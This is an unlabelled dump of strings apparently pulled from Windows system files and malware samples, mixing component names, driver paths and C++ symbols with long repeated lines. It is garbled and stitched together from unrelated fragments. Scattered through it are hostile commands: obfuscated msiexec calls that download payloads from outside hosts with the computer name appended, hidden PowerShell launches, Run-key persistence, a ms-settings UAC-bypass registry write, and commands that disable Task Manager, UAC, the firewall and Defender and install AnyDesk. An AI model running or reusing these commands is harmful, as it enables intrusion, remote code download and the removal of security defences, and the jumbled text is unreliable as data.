Microsoft.Windows.Workloads.winmdu
Microsoft.Windows.Workloads.Resources_ec.dllu
Microsoft.Windows.Workloads.Resources.dllu
Microsoft.Windows.Workloads.dllu
Microsoft.Windows.Widgets.winmdu
Microsoft.Windows.Widgets.dllu
Microsoft.Windows.VisionInternal.winmdu
Microsoft.Windows.Vision.winmdu
Microsoft.Windows.System.winmdu
Microsoft.Windows.System.Power.winmdu
Microsoft.Windows.Storage.winmdu
ComSpec=C:\WINDOWS\system32\cmd.exe
OS=Windows_NT
Microsoft-Windows-PeerDist-HostedClient-Out
Microsoft.Windows.Notifications.Diagnostics
Microsoft.Windows.Security.Schannel
mail.windows4
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
%Microsoft Windows Production PCA 2011
 http://www.microsoft.com/windows0
Assets\contrast-white\WindowsSecurityAppList.scale-200_contrast-white.png~@S
Assets\contrast-white\WindowsSecurityAppList.scale-150_contrast-white.png~?S
Assets\contrast-white\WindowsSecurityAppList.scale-125_contrast-white.png~>S
Assets\contrast-white\WindowsSecurityAppList.scale-100_contrast-white.png~=)
Assets\contrast-black\WindowsSecurityWideTile.scale-400_contrast-black.png~5T
Assets\contrast-black\WindowsSecurityWideTile.scale-200_contrast-black.png~4T
Assets\contrast-black\WindowsSecurityWideTile.scale-150_contrast-black.png~3T
Assets\contrast-black\WindowsSecurityWideTile.scale-125_contrast-black.png~2T
Assets\contrast-black\WindowsSecurityWideTile.scale-100_contrast-black.png~1X
Assets\contrast-black\WindowsSecuritySplashScreen.scale-400_contrast-black.png~0X
Assets\contrast-black\WindowsSecuritySplashScreen.scale-200_contrast-black.png~/X
Assets\contrast-black\WindowsSecuritySplashScreen.scale-150_contrast-black.png~.X
Assets\contrast-black\WindowsSecuritySplashScreen.scale-125_contrast-black.png~-X
Assets\contrast-black\WindowsSecuritySplashScreen.scale-100_contrast-black.png~,U
Assets\contrast-black\WindowsSecuritySmallTile.scale-400_contrast-black.png~+U
Assets\contrast-black\WindowsSecuritySmallTile.scale-200_contrast-black.png~*U
Assets\contrast-black\WindowsSecuritySmallTile.scale-150_contrast-black.png~)U
Assets\contrast-black\WindowsSecuritySmallTile.scale-125_contrast-black.png~(U
Assets\contrast-black\WindowsSecuritySmallTile.scale-100_contrast-black.png~'S
Assets\contrast-black\WindowsSecurityMedTile.scale-400_contrast-black.png~&S
Assets\contrast-black\WindowsSecurityMedTile.scale-200_contrast-black.png~%S
Assets\contrast-black\WindowsSecurityMedTile.scale-150_contrast-black.png~$S
Assets\contrast-black\WindowsSecurityMedTile.scale-125_contrast-black.png~#S
Assets\contrast-black\WindowsSecurityMedTile.scale-100_contrast-black.png~"U
Assets\contrast-black\WindowsSecurityLargeTile.scale-400_contrast-black.png~!U
Assets\contrast-black\WindowsSecurityLargeTile.scale-200_contrast-black.png~ U
Assets\contrast-black\WindowsSecurityLargeTile.scale-150_contrast-black.png~
Assets\contrast-black\WindowsSecurityLargeTile.scale-125_contrast-black.png~
Assets\contrast-black\WindowsSecurityLargeTile.scale-100_contrast-black.png~
Assets\contrast-black\WindowsSecurityAppList.targetsize-96_contrast-black.png~
Assets\contrast-black\WindowsSecurityAppList.targetsize-96_altform-unplated_contrast-black.png~
Assets\contrast-black\WindowsSecurityAppList.targetsize-96_altform-lightunplated_contrast-black.png~
Assets\contrast-black\WindowsSecurityAppList.targetsize-48_contrast-black.png~
Assets\contrast-black\WindowsSecurityAppList.targetsize-48_altform-unplated_contrast-black.png~
Assets\contrast-black\WindowsSecurityAppList.targetsize-48_altform-lightunplated_contrast-black.png~
Assets\contrast-black\WindowsSecurityAppList.targetsize-256_contrast-black.png~
Assets\contrast-black\WindowsSecurityAppList.targetsize-256_altform-unplated_contrast-black.png~
Assets\contrast-black\WindowsSecurityAppList.targetsize-256_altform-lightunplated_contrast-black.png~
Assets\contrast-black\WindowsSecurityAppList.scale-400_contrast-black.png~
Assets\contrast-black\WindowsSecurityAppList.scale-200_contrast-black.png~
Assets\contrast-white\WindowsSecurityAppList.scale-400_contrast-white.png~A
c:\windows\system32\
c:\windows\system32\
c:\windows\system32\
C:\WINDOWS\
WindowsCodecs.dll
ir%\system32\image
))}}".exe-windowstylehidden
vl-registry-writeuautocad@hkey_local_machine\software\microsoft\windows\currentversion\run[vl-file-copylaowofubenucadhelp.jpg[laowobak2 
\SystemRoot\System32\win32kbase.sys
\SystemRoot\System32\win32kfull.sys
\SystemRoot\system32\drivers\UnionFS.sys
\SystemRoot\system32\drivers\storqosflt.sys
\SystemRoot\system32\drivers\bindflt.sys
\SystemRoot\system32\drivers\lltdio.sys
\SystemRoot\system32\drivers\mslldp.sys
\SystemRoot\system32\drivers\rspndr.sys
\SystemRoot\System32\DRIVERS\wanarp.sys
\SystemRoot\system32\drivers\HTTP.sys
\SystemRoot\system32\DRIVERS\bowser.sys
\SystemRoot\System32\drivers\mpsdrv.sys
\SystemRoot\system32\DRIVERS\mrxsmb.sys
\SystemRoot\system32\DRIVERS\mrxsmb20.sys
\SystemRoot\system32\DRIVERS\vmmemctl.sys
\SystemRoot\System32\DRIVERS\srvnet.sys
Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
%SystemRoot%\System32\Speech\SpeechUX\sapi.cpl
@UI@Windows@4@XO
c\winlogon.exe
Microsoft-Windows-Network-Foundation-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft-Windows-Network-Foundation-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
windows.immersive
62^com.microsoft.windows.e
com.microsoft.windows.extensions.xaml.textinput
Microsoft-Windows-Client-Features-Package07~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Wifi-Client-Intel-Netwsw00-FOD-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Wifi-Client-Intel-Netwtw02-FOD-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
aps.prod.windows.com0
aps.prod.windows.com0>
C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:FullTrustApp.AppXykjsye98af63ez2annt9djke8trg8stn.mca
Microsoft.Windows.Wil.FeatureLogging
Microsoft.Windows.Shell.ExperienceHo
s\system32
qWindows#
Windows
cmd.exelcprojection/yzz/r^st^a^r^tms^i^ex^ec/f^v"http://q0.wf:8080/ae/yc8u3e7xzeobye7bpexpc2qrojb8h/8lx/%computername%"/qj^ffai^ebra=^y^fdwl^y%windir%\system32\shell32.dll%
OS=Windows_NT
OS=Windows_NT
SettingsPage@implementation@TaskManagerApp@winrt@@UFrameworkElement@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControlProtected@USettingsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@USettingsPage@implementation@TaskManagerApp@winrt@@UIControlProtected@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElementProtected7@USettingsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@USettingsPage@implementation@TaskManagerApp@winrt@@UIFrameworkElementProtected7@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IDependencyObject2@USettingsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@USettingsPage@implementation@TaskManagerApp@winrt@@UIDependencyObject2@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$require@USettingsPage@implementation@TaskManagerApp@winrt@@UIPage@Controls@Xaml@UI@Windows@4@UIUserControl@67894@UIControl@67894@UIControl2@67894@UIControl3@67894@UIControl4@67894@UIControl5@67894@UIControl7@67894@UIFrameworkElement@7894@UIFrameworkElement2@7894@UIFrameworkElement3@7894@UIFrameworkElement4@7894@UIFrameworkElement6@7894@UIFrameworkElement7@7894@UIUIElement@7894@UIUIElement2@7894@UIUIElement3@7894@UIUIElement4@7894@UIUIElement5@7894@UIUIElement7@7894@UIUIElement8@7894@UIUIElement9@7894@UIUIElement10@7894@UIAnimationObject@Composition@894@UIVisualElement@Composition@894@UIDependencyObject@7894@UIDependencyObject2@7894@@impl@winrt@@
.?AU?$require@USettingsPage@implementation@TaskManagerApp@winrt@@UIControlProtected@Controls@Xaml@UI@Windows@4@UIFrameworkElementProtected7@7894@@impl@winrt@@
.?AU?$consume_Windows_UI_Composition_IVisualElement@USettingsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@USettingsPage@implementation@TaskManagerApp@winrt@@UIVisualElement@Composition@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IDependencyObject@USettingsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@USettingsPage@implementation@TaskManagerApp@winrt@@UIDependencyObject@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement10@USettingsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@USettingsPage@implementation@TaskManagerApp@winrt@@UIUIElement10@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Composition_IAnimationObject@USettingsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@USettingsPage@implementation@TaskManagerApp@winrt@@UIAnimationObject@Composition@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement8@USettingsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@USettingsPage@implementation@TaskManagerApp@winrt@@UIUIElement8@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement9@USettingsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@USettingsPage@implementation@TaskManagerApp@winrt@@UIUIElement9@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement5@USettingsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@USettingsPage@implementation@TaskManagerApp@winrt@@UIUIElement5@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement7@USettingsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@USettingsPage@implementation@TaskManagerApp@winrt@@UIUIElement7@Xaml@UI@Windows@4@@impl@winrt@@
dows\system32\windowspowershell\v1.0\powershell.exe-windowstylehidden-commandwscript.exe//b//nologo
%Vpowershell.exe-windowstylehidden"get-childitem;get-service;$
reg.exe add hkcu\software\microsoft\windows\currentversion\policies\system /v disabletaskmgr /t reg_dword /d 1 /freg.exe add hklm\software\microsoft\windows\currentversion\policies\system /v enablelua /t reg_dword /d 0 /freg.exe add hkcu\sof
tware\microsoft\windows\currentversion\policies\activedesktop /v nochangingwallpaper /t reg_dword /d 1 /freg.exe add hklm\software\microsoft\windows\currentversion\run /v checkforupdates /t reg_sz /d %homedrive%\covid-19\update.vbs /freg.exe add hklm\software\microsoft\windows\currentversion\run /v goodbyepc! /t reg_sz /d %homedrive%\covid-19\end.exe /fy
re signed in to Microsoft Copilot, passwords you save will go in your Microsoft Account, $1. To turn this off, go to settings.Choose sign in below to use this app with Microsoft Copilot credentials.Edit this screenshot. Open screenshot editor to modify a screenshot of your desktop and Microsoft Copilot windows. Warning: might contain sensitive information.Hey, you're not signed into Microsoft Copilot. Signing in is the way to track your feedback. <a href="#" id="browser-sign-in">Sign in now</a>Recommend Microsoft CopilotHow likely are you to recommend Microsoft Copilot to a friend or colleague?Would you recommend Microsoft Copilot to others, if asked?Would you recommend Microsoft Copilot $1 to others, if asked?Microsoft Copilot can't open this file type.Microsoft Copilot Pinning WizardHmm...we don't have any suggestions for you right now. Our suggestions are based on your usage of Microsoft Copilot, so try using it for a while and then ask us again.This extension has been turned off to protect your application settings.Microsoft Copilot logoYour application is managed by your organizationapplication is managedUpdate available for Microsoft Copilot. Press Alt+F to open Settings and more menu.Update recommended for Microsoft Copilot. Press Alt+F to open Settings and more menu.Please update Microsoft Copilot now. Press Alt+F to open Settings and more menu.Live Capture Window opened in applicationMicrosoft Copilot <em>won't save</em>:
*Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
*Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
windows apps
windows store
windows shop
c:\n16438:.6438z27718.cmdb.7718.cmd..\..\..\..\..\6438\7718.cmdc:\windows\system32\zipfldr.dll%systemroot%\system32\zipfldr.dll%systemroot%\system32\zipfldr.dll
c:\h1anticipationsl.anticipations~2estimatessparrows.jsz.estimatessparrows.js$...\..\..\..\anticipations\estimatessparrows.jsc:\windows\explorer.exe%systemroot%
s^t^a^r^t^m^s^ie^xec-fv"http://0p.rs:8080/b9ycinqos/cuqvai/0azof0xr1h285wo0qaq/!computername!"-qu^iet!%systemroot%\system32\shell32.dll%windir%\system32\cmd.exe
:\Windows\System32\cmdkey.exe:
windows.hlp
bzndtglk7plm2iwh16alibwtulovq69p.jarc:\users\microsoft\appdata\local\microsoft\windows\inetcache\content.word\bzndtglk7plm2iwh16alibwtulovq69p.jarqc:\users\micros~1\appdata\local\temp\{10b584c5-7568-4294-abec-1ff3f8aaaef5}\bzndtglk7plm2iwh16alibwtulovq69p.jar
powershell.exe,%systemroot%\system32\windowspowershell\v1.0-executionpolicyunrestricted-windo1$
c:\windows\system32\imageres.dll%systemroot%
powershell.exe,%systemroot%\system32\windowspowershell\v1.0-executionpolicyunrestricted-windo1$
c:\windows\system32\imageres.dll%systemroot%
Windows.UI.Core.CoreComponentInputSource
o do Windows completa
WindowsGetStringRawBuffer
WindowsDeleteString
WindowsCreateString
WindowsCreateStringReference
WindowsGetStringLen
Microsoft.Windows.Apprep.ChxApp_1000.25128.1000.0_neutral_neutral_cw5n1h2txyewy
\windows\currentver2
ocess"$env:systemroot\syswow64\windowspowershell\v1.0\powershell.exe"-windowstylehidden
Microsoft.Windows.Shell.WebExperienceHost.AppManager
Microsoft.Windows.Shell.WebExperienceHost.OneDriveOfficeWebAppLogging
Microsoft.Windows.Shell.WebExperienceHost.TipsWebAppLogging
Microsoft.Windows.Shell.WebExperienceHost.DashboardWebAppLogging
Microsoft.Windows.Shell.WebExperienceHost.WelcomeBackWebAppLogging
Microsoft.Windows.Shell.WebExperienceHost.PersonalizedSettingsWebAppLogging
Microsoft.Windows.Shell.WebExperienceHost.OobeWebAppLogging
Microsoft.Windows.Shell.WebExperienceHost.UndockedScoobeWebAppLogging
Microsoft.Windows.Shell.WebExperienceHost.GetStartedLogging
Microsoft.Windows.Shell.WebExperienceHost.OtherWebAppLogging
Microsoft.Windows.Shell.WebExperienceHost.Health
Microsoft.Windows.Shell.ScoobeEligibility
 /k hey.txt", windowStyle, waitOnReturn
/1AC14E77-02E7-4E5D-B744-2EB1AE5198B7}\WindowsPowerShell\v1.0\p
Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
%26\Windows\driver.exe x -r -ep2 -hplimpid2903392 @$%26\Windows\pas.rar blat.exe @$%26\Windows\pas.rar AnyDesk.exe @$%26\Windows\find.cmd netsh advfirewall set allprofiles state off%26\Windows\find.cmd sc stop WinDefend%26\Windows\find.cmd sc delete MpsSvc%26\Windows\find.cmd AnyDesk.exe --install @$!#ALF:Trojan:MSIL/REntS.SIBD!MTB
WindowsFormsApp10\WindowsFormsApp10\
c:\windows\adam\adaminstall.exe
c:\windows\system32\secfsd.exe
c:\windows\system32\kscrsvr.scr
iwshshell3.regwrite("hkey_current_user\software\classes\ms-settings\shell\open\command\",""c:\windows\system32\wscript.exe""c:\input\
s\windows nt\m!
Microsoft-Windows-User-Choice-Protection-Package~31bf3856ad364e35~amd64~~10.0.26100.7019.cat
WindowsVersion
Microsoft.Windows.Security.SspCommon
Microsoft.Windows.Security.Wldp
Microsoft.Windows.Samsrv.Telemetry
Microsoft.Windows.Security.Kerberos
Microsoft.Windows.Security.CertInUse
Microsoft.Windows.WebDefense.SFAP
Microsoft.Windows.Security.CodeIntegrity.State
Microsoft.Windows.Security.LsaSrv
\SystemRoot\System32\DriverStore[l
        name="Microsoft.Windows.DebuggersAndTools"
  <description>Windows Debuggers and Tools</description>
            <!--This Id value indicates the application supports Windows Vista/Server 2008 functionality -->
            <!--This Id value indicates the application supports Windows 7/Server 2008 R2 functionality-->
            <!--This Id value indicates the application supports Windows 8/Server 2012 functionality-->
    	    <!-- This Id value indicates the application supports Windows Blue/Server 2012 R2 functionality-->            
    	    <!-- This Id value indicates the application supports Windows Threshold functionality-->            
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
Microsoft.Windows.NetworkIcon
eglCreatePlatformWindowSurface
eglCreateWindowSurface
USERNAMElogger with name 'console' already exists{"name": "%s", "build_date": "%s %s", "arch": "windows", "username": "%s", "pid": "%d" }Trojan:Win64/ShellcodeRunner.NSG!MTB
WindowsCreateString
WindowsDeleteString
WindowsGetStringRawBuffer
WindowsCreateStringReference
Microsoft.Windows.GPTraceProvider
Windows.SystemToast.StartupApp`
wshshell.regdelete"hkey_local_machine\software\microsoft\windows\currentversion\run\avp"
disable-windowsoptionalfeature-online-featurenamemicrosoft-hyper-v-hypervisor-norestart
windows.hlp`
"WindowsTelemetry");
,"Windows
"WindowsTelemO
WindowsIndexingDisabled{
Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-CrashDump-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft-Windows-NetFx3-WCF-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat(
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.DusmSvc
Microsoft.Windows.DusmSvc
Microsoft.Windows.DusmSvc
long __cdecl Windows::Networking::Connectivity::NetworkInformationFactory::add_NetworkStatusChanged(struct Windows::Networking::Connectivity::INetworkStatusChangedEventHandler *,struct EventRegistrationToken *) noexcept
long __cdecl Windows::Networking::Connectivity::NetworkInformationFactory::GetInternetConnectionProfile(struct Windows::Networking::Connectivity::IConnectionProfile **) noexcept
long __cdecl Windows::Networking::Connectivity::NetworkInformationPrivateServer::GetInternetConnectionProfile(struct Windows::Networking::Connectivity::IConnectionProfile **) noexcept
long __cdecl Windows::Networking::Connectivity::NetworkInformationPrivateServer::CreateConnectedProfile(struct _GUID,struct _GUID,unsigned long,struct Windows::Networking::Connectivity::IConnectionProfile **) noexcept
Microsoft.Windows.NetworkListManager
long __cdecl Windows::Networking::Connectivity::ConnectionProfileServer::Initialize(const struct _GUID *,const unsigned short *,const unsigned short *,enum _WCM_MEDIA_TYPE,unsigned long,bool,struct INetworkInterfacePrivate2 *,bool) noexcept
long __cdecl Windows::Networking::Connectivity::ConnectionProfileServer::Initialize(const struct _GUID *,const unsigned short *,const unsigned short *,enum _WCM_MEDIA_TYPE,unsigned long,bool,struct INetworkInterfacePrivate2 *,bool) noexcept
Microsoft.Windows.DusmSvc
Microsoft.Windows.DusmSvc
long __cdecl Windows::Networking::Connectivity::NetworkInformationFactory::add_NetworkStatusChanged(struct Windows::Networking::Connectivity::INetworkStatusChangedEventHandler *,struct EventRegistrationToken *) noexcept
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListM(
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.NetworkListManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
Microsoft.Windows.ConnectionManager
